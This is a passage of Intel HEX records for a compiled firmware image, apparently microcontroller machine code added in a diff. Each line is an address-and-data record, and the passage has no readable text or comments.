+:104C44000E9CF01F007CC070301CCE48F01F007A10 +:104C5400F01F007A4F403FF8A08800964F354F4729 +:104C64003021E0C8FFF9501830126C190B98103934 +:104C7400C4326A4A14096A5A14096E0A202AF408CA +:104C84000248F20800088D08E2031800C0D14E67FC +:104C94004E6811996E18F20801088F18F01F006809 +:104CA400301C8F1CCB780B99401A1588F208010828 +:104CB4008D18E4031800C2014D991388E408180004 +:104CC400C1B06E04300CF01F005FE08000A36E09D9 +:104CD400F2C8FFFF8F086E1A1438C0A08F09081994 +:104CE4000B98B1396C18F20800088D18C058F01FE1 +:104CF4000056CEE1C8E8300CF01F0052E080008A74 +:104D0400F01F00521894E40C1800E080008301891D +:104D14003FF8F0091800C461E20C1800C2B14C2835 +:104D240070174CB91389F20900294CAAF409002917 +:104D3400722A0E1A932A4BD9725B724A140B139976 +:104D44004BBA740A202AF20A024AF60A000A910AA5 +:104D540091193038F0031800C030F01F00394B2887 +:104D64004B3972099109911731A94AC8B089300C9D +:104D7400C5180B986C19F20801088D18400A580AD6 +:104D8400C4505808C4316E188D08E068FFFFEA1853 +:104D94000FFF8F18301CF01F002BC3B06C088F1846 +:104DA400C358E4031800C0A16E092FF96E18103916 +:104DB400C1B0F01F0023301CC2D840095809C140BB +:104DC4006E188D0830088F180B986C191039C06252 +:104DD400E068FFFFEA180FFF8F18301CF01F00195E +:104DE400C1806C088F18E2041800C0B1400A580A48 +:104DF400C040F01F0019C0E8F01F0011301CC0A80B +:104E04000B996C18F20800088D186E188F08C2EB05 +:104E1400300C2FEDD8320000000006D4000006D07C +:104E2400800055680000072C000006840000072459 +:104E3400800040C480003F9C800051AC8000406CE6 +:104E440080004940800048AC80003F3C000006D60A +:104E54000000045880005238EBCD40804998909768 +:104E6400A5874998118949981188F0091800C0D17B +:104E740049587039495870881039C07149287048A8 +:104E84000E38C031E3CF90804918490972899109DD +:104E94009117300B302CF01F000FC10048C8700967 +:104EA40048D89109301CF01F000DC080486848792B +:104EB400728991399147E3CF9080E3CF80800000DD +:104EC400000006D00000070C000006840000072C38 +:104ED40080004B84000004408000482CEBCD40C08F +:104EE40018974AE87038F00616093029F20C1800B1 +:104EF400C1314AB811894AB81188F0091800C19122 +:104F04004A7870394A5870181039C1314A48704883 +:104F14000C38C0F1C3383039F20C1800C33149F9E8 +:104F240072195809C2B0F1D8C009C2C02FF6C2A87C +:104F340049D849A9721991099116301B169CF01F82 +:104F4400001BC1E04988700949989109301CF01F81 +:104F54000019C16049284919721991399146E3CF62 +:104F640090C03038F0071800C0B14938118931A811 +:104F7400F00918005F0CE3CD80C0E3CF90C0E3CF0D +:104F840080C048984859721991099116301B0E9C9B +:104F9400F01F0006CE70CF2B000004440000070C65 +:104FA400000006840000072C80004B8400000440AD +:104FB4008000482C000006D4D4314A2811893008D6 +:104FC400F0091800C3C14A0811893FF8F009180014 +:104FD400C051301949D8B089D83A300249A549C1DD +:104FE400300649C049C449D30B8CF01F001D1897E3 +:104FF400C260A286A0860B880989F0091800C051F6 +:105004004989B2864989B2860789F0091800C031F6 +:10501400F01F0016F01F0016301848C9B288583720 +:10502400C08110025C523648F0021800CDE1C088FD +:105034005827C06131894858B089D83ADA3AD83A01 +:105044000000045600000684000006D4000006D0C8 +:1050540000000444000006D80000070C80006ABC6D +:10506400000006CC000006BC800045F480003F9C94 +:10507400D401F01F000BC11048A811893008F009B1 +:105084001800C0B0488811893008F0091800C050D1 +:1050940030594868B089D80ADA0A000080004FBC49 +:1050A400000006D000000444000006D4D401F01F20 +:1050B400000AC0F0489811893008F0091800C0812E +:1050C400F01F0007C05130E94868B089D802301C8D +:1050D400D802000080004FBC000006D080005BB8FE +:1050E400000006D4D401F01F0004C030F01F0003F8 +:1050F400D8020000800050B080003F00D401F01FAF +:105104000006C070F01F0005C040F01F0005D80263 +:10511400D80A0000800050B080003F0080003EE0CC +:10512400D401F01F0006C070F01F0005C040F01F3E +:105134000005D802D80A0000800050B080003F006B +:1051440080005074D401F01F0004C030F01F00032D +:10515400D8020000800050B080005074F8C90021CB +:1051640035D8F0091800E08B001DF8C900613198AA +:10517400F0091800E088000732B8F00C1800C0519C +:10518400C108220C5C5C5EFC487AF4C8FFFF2F9ACD +:105194001189F8091800C0502FF81438CFA15EFC0B +:1051A4005EFD000080007EDC3FF94848910930092B +:1051B400483891095EFC0000000006B80000048035 +:1051C400D421300B4958911B302CF01F0015C230EC +:1051D400494811984919720A201A100A4929930A50 +:1051E4005808C1A030070E94129648E5089CF01F99 +:1051F400000FC1105807C031F01F000DF01F000D43 +:105204006C0820188D082FF75C570B98EE081800CF +:10521400CEE1C028D82ADA2A0000072C80004B846B +:1052240000000684000004408000482C80004814DC +:105234008000460CEBCD40FC49687008496972094E +:105244001238E08B0025495549573013491630026E +:1052540049146E4912088B08069CF01F0012C150B5 +:105264006E196E48F20800086C0912088B08049C39 +:10527400F01F000CC0A0F01F000C6C082FF88D0864 +:1052840068091039CE72C038E3CF80FCE3CF90FCBC +:10529400000006B8000004800000044000000684FA +:1052A4008000482C8000460CD401F01F0021C3E08C +:1052B400F01F00204A0B169832E910C9F6CAFFF510 +:1052C400320910C91438CFE149B83109F169000B2A +:1052D40049A92FC913BAF16A001A13AAF16A001B6B +:1052E400139AF16A00141389F169001532E9F1691E +:1052F4000020F16900212DE8F6CAFFD5320910C952 +:105304001438CFE148C83109F169002B48C92E0986 +:1053140013BAF16A003A13AAF16A003B139AF16ACC +:1053240000341389F1690035301CD802800051C45F +:105334008000460C0000048400000444000006843D +:10534400D431205D1897503B1496F01F0030F01FA5 +:10535400003018C63001301830B930F330C631ABE4 +:10536400300A31FE31B530D25001F2081800C03194 +:10537400B883C458EC0818005F00F60818005F04EE +:1053840008400094F4001800C321EA081800C37010 +:10539400E4081800C0414034B884C31840015801DF +:1053A400C2410F84FB54001235C1E20419005F00AE +:1053B400502032F0E00419005F0140200240F40064 +:1053C4001800C0503004FB540012C0385804C031D7 +:1053D40030145004FAC4FFEE099018C00984B8844C +:1053E4002FF85C582FF7C0383FF1B8812FF85C587C +:1053F400FC081800E08B00082FFCCB8B2FF85C58BE +:105404002FFCCB4B2FBDD8328000460C8000426469 +:10541400D431201D500C300330F430053E5249A6DF +:105424003010F01F001AC2D0F01F00191981F8C7FC +:10543400FFF50F88E80818005F19EA0318005F18E1 +:10544400F3E80008EA081800C101B882F01F00114F +:105454000F88E8081800C041E2110040C0618C18B0 +:105464002018AC180093CDEB40085808C031301C0C +:10547400C088300948889139303CF01F00085F1C0F +:105484002FFDD832000006D080004E5C80004264BC +:105494008000460C0000044480004EE0EBCD40FC4C +:1054A400208D30060C974A953E541A933202AA175F +:1054B400F01F0027C0814A78118931A8F00918002B +:1054C400C3D1C068F01F002419885808C1B149F835 +:1054D400B016EC071900C3403205300449B6F01F7A +:1054E400001CC2C0F01F001C0A9A089BF01F001B7E +:1054F400F01F001B8C182FF8AC18F0071900CF010F +:10550400C1F8E8081800C170EC071900C120049A1A +:10551400189B1A9CF01F0013AA16F01F000DC0E080 +:10552400F01F000D049A1A9BF01F000EF01F000CD0 +:105534002FF65C862FF75C87CBBB300CC028301C61 +:105544002F8DE3CD80FC0000000006D080004E5C6F +:10555400000006D48000426480007B428000460C38 +:10556400800079FAEBCD40C0201D500C49C890C989 +:10557400704A49C8121A910A300CF01F001BC2C0AD +:10558400F01F001AF01F001A49A730460C9A49ABC5 +:105594000E9CF01F001A0C9A499BEECCFE1CF01FC7 +:1055A40000171BB9EF6901E81BA9EF6901E91B9911 +:1055B400EF6901EA1B88EF6801EB0C9AE06B00FFCE +:1055C400EECCFE14F01F000F3558EF6801FE3AA828 +:1055D400EF6801FF301C2FFDE3CD80C0000006847E +:1055E400000004408000482C8000460C80004814D1 +:1055F4000000048480007ED0800079FA80007EE47C +:1056040080007B42D431201D4CD811893038F009F8 +:105614001800C0613FFCF01F004BE080008D4CA1DE +:1056240003893FF8F0091800C07130195009302976 +:105634004C689109C0884C4870092FF94C3891097D +:1056440030185008F01F00424C0870094C1870388C +:105654001039C63230050A904BC7301230134BA4B0 +:105664004BC6009CF01F003CC6606E185808C4214D +:105674006E088F18E4051800C08120188F08069C56 +:10568400F01F0035C1F1C57803883FF9F20818000E +:10569400C17068085808C0F14A9811893038F00977 +:1056A4001800C06031B94AD8B089300CC4586C684D +:1056B4008F08C0288F08069CF01F0027C3C06E18EF +:1056C40089086E188F08E069FFFFEA190FFF8F1928 +:1056D400069CF01F0021C2F068190D981039E08B68 +:1056E4000006300949889119C2381019891906959C +:1056F400C0B8E4051800C1C040085808C0506E087E +:10570400F0C8FE0C8F086E082FF88F086C3910391A +:10571400FE9BFFA95805C0C140095809C040300884 +:105724005008C86B31B948D8B089300CC058F01F44 +:10573400000CC028300C2FFDD8320000000006D029 +:10574400800055680000072C00000724800051AC3D +:105754000000068480004940000006D480005238CE +:10576400D431201D30094A38B019189230044A2621 +:1057740031A34A21301510971290500CF01F0020CD +:10578400C1610D88E6081800C3118315F01F001DC0 +:10579400C0A15804C2B1F01F001CC280AE10400268 +:1057A4000A94CEDBF01F0019CEA1C208F01F001826 +:1057B40019883009F2081800C06120125C52C03107 +:1057C400301CC1588E182FF85C88AE18CD8158044F +:1057D400C06031B94888B089300CC098F01F000A05 +:1057E400C050AE1040020A94CCAB300C2FFDD8321E +:1057F400000006D0000006D40000072C80004E5C98 +:1058040080005608800054A0800051C48000426487 +:10581400D431189433A230D530234986ECC1FFFF2C +:105824002F960A9009870E9CF01F0015C1A1EE0265 +:105834001900C06002981189EE091900C06131C9CC +:105844004908B0893003C1682FF80C38CF51580586 +:10585400C0412FF35C53009520155C552FF4CE3BCB +:105864003148F0031800E088000632B94858B0897E +:105874003003069CD832000080007ED48000423C75 +:10588400000006D4D431208D1894502B149750095D +:105894005809C040300A501AC068F01F0065F01F54 +:1058A4000065501C3098F0071800E08B0004301895 +:1058B400C0883638EE081800F9B80202F9B80303B4 +:1058C400E06ACCCDEA1ACCCCEE0A0642E60916030D +:1058D400F2090029EE0901192D095C595079E06398 +:1058E400851FEA1351EBEE030642E6091605F20B97 +:1058F4001064EE0B010B5C5BF60A064AF60A16030B +:105904002D0A5C5A506A2D095C59505930013017E0 +:1059140002953013F00911FF2F89503932E030829B +:10592400F00811065C585048C02830770986E6070D +:105934001800C14140380A385F09E00618005F08C2 +:10594400F3E81008300AF4081800C0510C9CF01F4A +:10595400003AC1102FF75C57CEABE4071800C12101 +:1059640030B8F0051800C0500C9CF01F0033C03054 +:105974003097CDDB0C9CF01F003118962FF4580C97 +:10598400CD603078F0071800C0C1E0061800C050A0 +:105994000C9CF01F0029C0303087CC9B2FF4CC7BAB +:1059A4003068F0071800C061E4051800CBF0320637 +:1059B400C1283098F0071800C07130B9F2051800FA +:1059C400C3203206C0F83058F0071800C0414076B2 +:1059D4003067C0F83048F0071800C04140663057BF +:1059E400C0F83038F0071800C04140563047C0882E +:1059F40040493028F0071800C031129737E64009B3 +:105A04005809C050402810C65028C048401A14C62F +:105A1400501A2FF55C55E2081601A77110010C010C +:105A24005C51C85B029C2F8DD83200008000460C6C +:105A3400800042648000423C80005160EBCD408095 +:105A44001897F01F001219885808C06130A9490836 +:105A5400B089E3CF80803E59F2081800C070F9394C +:105A6400000B30F8F0091800C06130B94888B089DB +:105A7400E3CF808030B94868B08930BA0E9BF01FFC +:105A840000055F0CE3CD808080004264000006D4F2 +:105A9400800079D4D431203D189330071A963012FF +:105AA40049653004496130A0C0583FF8F007180038 +:105AB400C2002FF75C5704990E9A1A9B069CF01F9C +:105AC4000011AA14F01F0010C08148D8118931A810 +:105AD400F0091800C0E1C0E81A9CF01F000CCE6168 +:105AE4000388E0081800C0608A182FF8AA18CEBBF3 +:105AF40030070E9C2FDDD832000006D0000006D4FB +:105B04008000588880004E5C80005A40EBCD40FCF9 +:105B14001896F01F00211895C3B00C9CF01F001FAD +:105B24001897C06132A949E8B089E3CF80FC0A9C88 +:105B3400F01F001CC2D030090E9A129B0C9CF01F5F +:105B4400001A189220155C55C1C030174974EAC375 +:105B5400FFC05C5388182018A818F01F0015C180D6 +:105B6400EA071800E60717000E9A049B0C9CF01F26 +:105B740000112FF75C57EE051800C0332F36CEBB4B +:105B840048A89019F2050005B015E3CF90FCE3CFC7 +:105B940080FC00008000581480005A98000006D44D +:105BA4008000576480005888000006D080004E5C56 +:105BB40080005344D431203D3007FEF802D291874F +:105BC400F01F00B4FEF802D0B087FEF802CE9107B1 +:105BD400F01F00B3E0800158FEF502C8EAC8FE4297 +:105BE400500838043046301CF01F00AFE080014CF0 +:105BF400EB3901FE3558F0091800C0D0EB3901FF2C +:105C04003AA8F0091800C0703029FEF8029EB08945 +:105C1400300CC3A9FEF8028470085808C521400856 +:105C2400300A301E306330E230B130C01189E809E7 +:105C340018005F0BEE0918005F09F7E91009EE0977 +:105C44001800C19011C9FC0918005F0CEC09180078 +:105C54005F0BF9EB100BEE0B1800C141E6091800BD +:105C6400C110E4091800C0E0E2091800C0B0E0095E +:105C74001800C0802FFA5C5A2F08EC0A1800CD7166 +:105C8400C208EC0A1800C1D0FEF30210A56AF4CAD7 +:105C9400FE42EA0A000AF5380008A6B8F5380009F9 +:105CA400A6A8F538000AA698F538000BA6884F88F0 +:105CB400118CF01F007F6608F80802488708C94B5A +:105CC4004F8811893EB8F0091800C0F14F5811A946 +:105CD4003908F0091800C0914F28F1380015E2186E +:105CE40000F0E04800F0C06030394F08B089300C53 +:105CF400CCB830494ED8B0894EAAF539000CA199D8 +:105D0400F538000DB3385C584E1BB698300B501B59 +:105D1400FACBFFFCFAC7FFF9F53C0016AE8CFACEBD +:105D2400FFFAF53A0017BC8A401A580AC0E14DDA66 +:105D3400F53C0024AE8CF53C0025BC8CF53C0026DB +:105D4400B69CF53A0027B68A1295401CF20C024C18 +:105D54004CFA951C4D3AF53A0013580AC1614D1698 +:105D6400ED3400143006EC041800C0F14CDAF536BA +:105D74000020AE86F5370021BC87F53E0022B69E92 +:105D8400F53A0023B68AC098AE8A4C6AF53A0014F4 +:105D9400BC8A300AB69AB68A40144BDAF80B15015D +:105DA400F55B0018FAC6FFF6FAC7FFF44BDBF73EC3 +:105DB40000110EFEF73E0012AC8EF20315049ADEBB +:105DC400E60E000EA57E201EF2031509FC030C024C +:105DD400E409024EF55E001AF733000EAE83F7377E +:105DE400000FAC879A57F73B00300E96EE0B010B71 +:105DF400B33BB44BEE0902495C794A8B760BF20B48 +:105E0400000B954B5C7EFC0C001C955C5808C3B0E1 +:105E1400A935EA09010918195019301AF4081800AB +:105E2400C070A199A198F4081800CFC15019401866 +:105E3400F0CAFFFE4969933AE0480FF4E08B00078B +:105E440030194958B089301CC1F8E048FFF4E08BA0 +:105E5400000730294908B089301CC168303948E846 +:105E6400B08948B82E8848F9F33A002CB0BAF33A0E +:105E7400002DB0AAF33A002EB09AF339002FB0895E +:105E8400301CC028300C2FDDD832000000000684FE +:105E940080004200000006D00000044080004FBC97 +:105EA400000004848000482C000006D480006AE8C6 +:105EB400D401F01F0007C041E06C00FFD80248582D +:105EC4007029703810395F8CD802000080005100AE +:105ED40000000444D401F01F000AC100489811884E +:105EE400E2180002C080F01F0008C080F01F000705 +:105EF400F01F000730094838B089D80280005100EB +:105F04000000044480004E5C8000461C800047C0B2 +:105F1400D40149781188F1D8C001C05131E94958F8 +:105F2400B089DC0A4928702970381039E08B0006E2 +:105F340032094908B089DC0A302CF01F000FC0C1B7 +:105F440048C8118931A8F0091800C020DC0A3209B8 +:105F54004888B089DC0A48687039F5D9C009487B9B +:105F6400F60A070C2FF99139D80200000000044406 +:105F7400000006D480004EE000000484EBCD40C055 +:105F84001897F01F0020C3A0F01F001FC3700E96C7 +:105F94000E98E2180002C190301CF01F001CC2E0F1 +:105FA40049B811A8F1D8C001C06031594998B089E5 +:105FB400E3CF80C04988118CF01F0018C0A031497C +:105FC4004948B089E3CF80C0300CF01F0010C16095 +:105FD4000C98E2180004C040300948D89129E21610 +:105FE4000008C050300948A89139C0484888702931 +:105FF40091394878B087E3CF90C0E3CF80C00000E8 +:106004008000512480003F208000466C000004443E +:10601400000006D40000068480006AF0203D486930 +:10602400728B486A941A1389B889991BB84A2FDD70 +:106034005EFC000000000684000006D0D431201D60 +:106044001895169714961294F01F0032C5E0301874 +:10605400F00618005F0A3008F00718005F09F5E938 +:106064000009F0091800C030301CC5084AA8901374 +:106074005803C0313010C068E6C900014A68B0193D +:1060840030003008500831014A32C0283010F01F67 +:106094000023C3B05800C0700C9A0E9B0A9CF01FDA +:1060A4000020C34808990C9A0E9B0A9CF01F001DFF +:1060B400C0F049D811893008F0091800C0508A0886 +:1060C40040091208AA084948B013301CC1F849799C +:1060D4001388E2081800C070A41330B9F20818003D +:1060E400C141CD5B490913883009F2081800C0602A +:1060F40040082F385C885008C0482F3520D75C579B +:1061040084182018A418CC4B300C2FFDD832000072 +:10611400800050E8000006D080004E5C8000442CD3 +:106124008000427C000006D5000006D4D431204D06 +:10613400500C1690F01F0053E08000A14D289018D9 +:1061440050384D28F10A0024502AF138002C5018F8 +:106154003005301230074CC34CC64CD1E400180053 +:106164005F04EE0518005F18E9E81008EE0818004F +:10617400C0D086183FE9F2081900C05130894C4854 +:10618400B089C7182FF8A618C1E886183FFAF40892 +:106194001900C05130994BE8B089C6585808C1114C +:1061A400ED38002CEE081800C080ED38002DEE0804 +:1061B4001800C0313015C07830994B58B089C538B3 +:1061C4002018A618F01F0033C071038931A8F00904 +:1061D4001800C300C488ED3C002CF01F002FC1C080 +:1061E4005805CBD15804C070ED0800242FF8ED58A1 +:1061F4000024C068ED0800242018ED58002440094C +:106204005809C051F01F0025301CC38840082018CD +:106214005C885008CA4B038830A9F20818005F094B +:1062240031AAF40818005F08F3E81008EE08180013 +:10623400C9605805C050ED67002C3005C90BED3816 +:10624400002CE4081800C060ED38002DEE0818009A +:10625400C050309948E8B089C0683FF8A618ED628C +:10626400002CC7DB4898401AF16A002C4869403A70 +:10627400B21A4029F1590024300C2FCDD832000035 +:1062840080005148000006D000000684000006D4B7 +:1062940080004E5C8000458C80004544D4211895D4 +:1062A4001694301630070C9B0E9CF01F0007C0900C +:1062B40008990E9A0E9B0A9CF01F0004CF50301CC4 +:1062C400D82200008000613080006040D401F01FBB +:1062D4000004C040F01F0003301CD8028000514865 +:1062E40080004200EBCD40801897F01F0013C210CD +:1062F400300B0E9CF01F0011C06032A94908B08910 +:10630400E3CF80800E9CF01F000FC13048E83009B5 +:1063140091199129B0A948D8F10900242FF9F1590C +:1063240000243019F169002CF01F0009E3CD8080AE +:10633400E3CF8080800062D0800062A0000006D499 +:1063440080005B100000044400000684800047C005 +:10635400D421F01F001FC38049E870885808C05139 +:10636400319949D8B089D82A301949C8B019F01FD1 +:10637400001CC2A0F01F001B4968708749A972194C +:106384009189F01F001AC2004928F139002D300804 +:10639400F0091800C0D048F8F139002C3008F00991 +:1063A4001800C060C1286C180E38C051C0E8301500 +:1063B400300448D60A9B089CF01F000DCF51308949 +:1063C4004858B089D822D82ADA2A000080005148D7 +:1063D40000000684000006D4000006D080004E5C55 +:1063E4008000454400000444800062D08000613095 +:1063F400D401F01F000AC100F01F0009C0D0489862 +:1064040048999219F159001C488972199189F01F11 +:1064140000085F1CD802D80A80005124800041E89B +:1064240000000684000006D000000444800062D00E +:10643400D4211897F01F000BC081D822ED38002C0E +:10644400EE081800C051DA2A3015300448660A9B59 +:10645400089CF01F0006CF3130994858B089D822E3 +:10646400800062D00000068480006130000006D401 +:10647400D43118914998F1000024F01F0019C0315B +:106484003004C28830040897301308924936301516 +:10649400C0B8ED38002CEA081800C0412FF45C8421 +:1064A400C0382FF75C87069B049CF01F000ECF2199 +:1064B400F01F000B3FF8F0001900C060301BF9D04A +:1064C400C010F01F000830185C87E2081800EE04C2 +:1064D4001710089CD832000000000684800062D0A7 +:1064E40080006130EBCD40C01896F01F000FEFDC48 +:1064F400B010C061309948D8B089E3CF80C00C9CFB +:10650400F01F000BC0D03018F0071900C031E3CFE2 +:1065140090C00E9C202C301B5C7CF01F0006E3CD49 +:1065240080C0000080006474000006D480006434DD +:1065340080006130EBCD40801897F01F0018C2B086 +:106544000E9CF01F0017C27049683FF9B0893019DA +:106554009119F01F0015C071F01F0014F01F0014F2 +:10656400E3CF8080493848F972099119300991299B +:106574003109B0A9F01F0010C0E0F01F0010C0B036 +:10658400F01F000FF01F000AC060300CF01F000D58 +:10659400E3CD8080E3CF808080005148800062E8B2 +:1065A4000000072C8000560880005414800047C067 +:1065B40000000444800052AC80004E5C8000461C05 +:1065C400800064E8D401F01F000AC0F048981189E3 +:1065D4003008F0091800C070300948789189F01F1C +:1065E4000007DA0AF01F0006D80200008000507489 +:1065F400000006D0000006848000420080005BB8E2 +:10660400D401F01F0002D802800065C8EBCD4080A1 +:106614001897F01F000FC190F01F000EEE0C180029 +:10662400E08B0007306948C8B089E3CF808048B860 +:106634001188EE081800C031E3CF90804878B08705 +:1066440030094878B089301CE3CD808080005074D4 +:1066540080006AB8000006D400000684000006D05A +:10666400D4211897198CF01F0010C1C0F01F000F1F +:10667400C1906E1948E89189F01F000EC0A1C1288D +:106684000A9B089CF01F000CC071F01F000AD82A56 +:1066940048A6301530048C198E48F0091900CF1122 +:1066A400DA2AD82A80006610800065C800000684B3 +:1066B400800062D080006130000006D0D431206DAB +:1066C400189716911490F01F0062E08000BE1A968D +:1066D4001A9CF01F0060FAC8FFF4FAEA0000F0EB1D +:1066E4000000402991290F8835C9F20818005F0A73 +:1066F40032F9F20818005F09F5E91009C070F01FBB +:106704000056E080009D2FF7C5F80F9933AAF409CD +:106714001800C2210FAA35CBF60A18005F0B32FC11 +:10672400F80A18005F0AF7EA100AC1604CB9720946 +:10673400F2080709F0CA0020E2190002F408171051 +:106744002418F9D8C008F01F0046C790F01F004570 +:10675400C7602FD7C39832EAF4081800C19135C82E +:10676400F00918005F0A32F8F00918005F08F5E82C +:106774001008C0E02FE7C288F01F003BC6000D8858 +:10678400ECC7FFFFEA081800EC071700C05832E412 +:1067940035C332F230050F88E8081800C1510F984C +:1067A400E8081800C111EEC6FFFE0D88E6081800BF +:1067B4005F0AE40818005F09F5E91009EA091800FE +:1067C400CDC15808CDA0F01F0029C3903003069214 +:1067D400300635C532F40F88EC081800C031301C7F +:1067E400C338029B0E9CF01F0022C0515800C27097 +:1067F4000E9230132FF70F885808C0815803CEC06B +:10680400049CF01F001CCE81C1A8EA0818005F098F +:10681400E80818005F08F3E81008EC081800CEB088 +:106824005803C050049CF01F0014C090F01F0013C4 +:10683400C060F01F0013C0302FF7CCEBFACCFFF48C +:10684400F01F0010300C2FADD832000080005074BF +:106854008000602080006604000000E8800066106C +:10686400800065C880006354800062D0800062A00C +:10687400800062E880006538800041E8800063F4AD +:1068840080006664EBCD408018973018F00C180037 +:10689400E0880007327948B8B089E3CF808048A8FF +:1068A400118CEE0C1800C031E3CF9080F01F00076C +:1068B4000E9CF01F00064848B087E3CF908000008C +:1068C400000006D40000074C800046E4EBCD40F8FD +:1068D40030074918B0874918B087F01F0011F01F1E +:1068E4000011300CF01F00104903A68749053FF43E +:1068F400AA844906AC87EB67002D301CF01F000A00 +:10690400A687AA84AC87EB67002D48B8B087E3CD8F +:1069140080F80000000006D500000456800045F40D +:1069240080003F9C80006888000006D00000068438 +:10693400000004440000074C48DDFEC0ED3EE3B017 +:106944000001D55348B048C10230C06248B2A50521 +:10695400A1240230CFD348A048A10230C062300243 +:106964003003A1220230CFE3FECFF26C000080009E +:1069740000000008000000F080008090000000F09B +:1069840000000758D401FE780C00E0690080EA1981 +:1069940080809119E1B90000D303E06A030791AA4A +:1069A400700AA3AA910AE3B900007159E2190080A0 +:1069B400CFD0E06C1B00EA1C00B7F01F0008E1B95F +:1069C4000000D303FE780C00700AE01AFFFCA1AAB1 +:1069D400910AE3B90000D80280002DE0E1BA00007A +:1069E400D303FE780C007159E2190040CFD0A36C98 +:1069F400E02CF3F878083019F20B094B104B990B83 +:106A0400E3BA00005EFCD703EBCD40C01897E1B6B3 +:106A14000000D30348B811893008F0091800C051A8 +:106A2400302B301CF01F0008486811892FF9B089F9 +:106A3400E3B600000E9B303CF01F0003E3CD80C0A2 +:106A4400000001CD800069E0D401301CF01F001863 +:106A5400303B301CF01F0017E1B90000D303FE786F +:106A64000C00E06A030791AA700AA3AA910AE3B989 +:106A7400000010997358E2180080CFD03088A3A882 +:106A840031092019B169EA193F00E8190201F3E854 +:106A94001008FE790C0093887358F1D8C001CFD048 +:106AA4003069FE780C00F149006CD80280006A0C51 +:106AB400800069E05EFFD703D401580CC020DA0AD5 +:106AC4004828700C5D1CD80280007EE8D401580C64 +:106AD400C020DA0A48387018169C5D18D8020000E5 +:106AE40080007EE8580C5F0C5EFCD703D401580C80 +:106AF400C020DA0A4828702C5D1CD80280007EE889 +:106B0400EBCD40E0189716951496302CF01F000931 +:106B14005807C0303017C078487870580C9B0A9CCE +:106B24005D181897302CF01F00050E9CE3CD80E013 +:106B34008000205C80007EE8800020ACEBCD40E04B +:106B4400189716951496301CF01F00095807C0308A +:106B54003017C078487870480C9B0A9C5D181897C9 +:106B6400301CF01F00050E9CE3CD80E08000205C0B +:106B740080007EE8800020AC5EFDD70348D89018E2 +:106B8400F5D8C1083029F20A1900C1115C58C0F1C6 +:106B9400488890393018F0091900C091485848695C +:106BA4009129486991493019B0695EFF5EFD000082 +:106BB40000000428000001D980006DCCD40148E80D +:106BC40011893008F0091800C020D80A48BA48C80A +:106BD400F0E80000F4E90000300948A8B08948A8AA +:106BE4003089300BE06C0081F01F00084828B08C1D +:106BF400D8020000000001CF000001D0000001DC39 +:106C0400000001CE80006C1080003884D40130086C +:106C14004859B28848591389F0091800C030F01F48 +:106C24000004D802000001CF000001CE80006BC038 +:106C3400EBCD4080E1B70000D303499811A8580870 +:106C4400C210F8081800C0B049592FD93038308B19 +:106C5400138A580AC0F0F80A1800C051E3B70000BC +:106C6400E3CF90802FF85C582FF9F6081800CF1165 +:106C7400C0583089F2081800C061E3B70000E3CFC0 +:106C8400808030284869F2080B0C30194858B089C4 +:106C9400F01F0005E3B70000E3CF9080000001DCA3 +:106CA400000001CE80006BC0EBCD4080E1B7000056 +:106CB400D3034A1811A85808C0B0F8081800C22015 +:106CC40049D92FD93038308B138A580AC041E3B7D9 +:106CD4000000C2F8F80A1800C0802FF85C582FF999 +:106CE400F6081800CF21C0B83089F2081800C07027 +:106CF4003069F2081800E0880007C118E3B7000003 +:106D0400C188302848C9307BF208000A159AF20875 +:106D14000B0A2FF85C58F6081800CF713009486840 +:106D2400B0F930194858B089F01F0005E3B70000E6 +:106D3400E3CF9080000001DC000001CE80006BC036 +:106D4400EBCD4080E1B70000D30348781189124CA1 +:106D5400B08C30194858B089F01F0005E3B7000023 +:106D6400E3CF9080000001DC000001CE80006BC006 +:106D7400EBCD4080E1B70000D30348885CDC118987 +:106D8400126CB08C30194868B089F01F0006E3B764 +:106D94000000E3CF90800000000001DC000001CE81 +:106DA40080006BC0D4014849484A485B485CF01FE6 +:106DB4000006D80280006B800000000D000001D89E +:106DC400000001E480006E28D4014838118CF01FC3 +:106DD4000003D802000001D980007668D401F01FB6 +:106DE4000002D80280007664D40130084889B28851 +:106DF4004889B2884889B288300A300B4879F2EB66 +:106E040000004879B288F01F0007D802000001E4AE +:106E1400000001D8000001CF000001DC000001CE19 +:106E240080007662EBCD408014974C081188300ABC +:106E3400F4081800C504E2180060C3314BB9139A72 +:106E44003069F20A1800C2D1F01F00392F7C199959 +:106E54003218F0091800C2314B4811A83219F2084F +:106E64001800C0A14B18912C90B9198AF20A0D4947 +:106E7400B069E3CF908019E9F0091800C1014AB85C +:106E8400912790BA19FBF9390008F3EB10895CC912 +:106E94005C79F4090D49B069E3CF9080E3CF808039 +:106EA400E0480020C4014A1811983029F20818005B +:106EB400C0603039F2081800C361C07849B8912C19 +:106EC4003019B069E3CF90804988912B3019B069AB +:106ED400E3CF9080E2180060E0480020C2414938C6 +:106EE4001198309AF4081800C0B0C1D330A9F20840 +:106EF4001800C09030B9F2081800C151C0985D194B +:106F0400E3CD8080489811A8B888E3CF9080487872 +:106F140090393008F0091900C06148489018B688C3 +:106F2400E3CF9080E3CF80800000042880006F349A +:106F34004828700C5EFC0000000001F448787008DA +:106F4400700811AA11B9F3EA10895CC9F9D9C01003 +:106F5400F00C000C5EFC0000000001E8EBCD40E00A +:106F64001897169649B811893008F0091800C2F02C +:106F740049987008700811C9189EF8091800E0882B +:106F8400002749658B08F01F00166A08103CE0884A +:106F9400001F304B1099119AF60A1800C0A111AACB +:106FA4000E9EEE0A1800C05111BAEC0A1800C0B0C7 +:106FB4001388F2080008103CFE9BFFEE4879930802 +:106FC400E3CF80E048599308E3CF90E0E3CF80E03B +:106FD400000001F2000001E8000001F480006F40AD +:106FE400EBCD40C018961697F01F00110D881006BF +:106FF4000C3CE08800190D983049F2081800C130A3 +:10700400EE081800C0A1C1080D98F2081800C0B01D +:10701400EE081800C031C08830490D8810060C3CB9 +:10702400FE9BFFF430060C9CE3CD80C080006F40D3 +:10703400D401484811BCF9DCC007F01F0003D80292 +:107044000000042880003202EBCD40E01895F01FC8 +:107054000012C1F04918700730560C9B0E9CF01FAB +:1070640000101897C0D019CA19D8F1EA108A5CCA5E +:107074005C7A19BB19ACF01F000BCF01C0A848A85B +:1070840070087018F0050328700C5D1CE3CD80E0D7 +:10709400E3CF80E080006F60000001F480006FE4C3 +:1070A400800033B8000001E8EBCD40E01896189753 +:1070B400300BF01F0012C1E0491870087018F00678 +:1070C40003256A3C5D1C189B0C9CF01F000CC1201E +:1070D40048C8700730560C9B0E9CF01F000B189785 +:1070E400C05019ACF01F0009CF7B6A185D18E3CFBC +:1070F40090E0E3CF80E0000080006F60000001E8D2 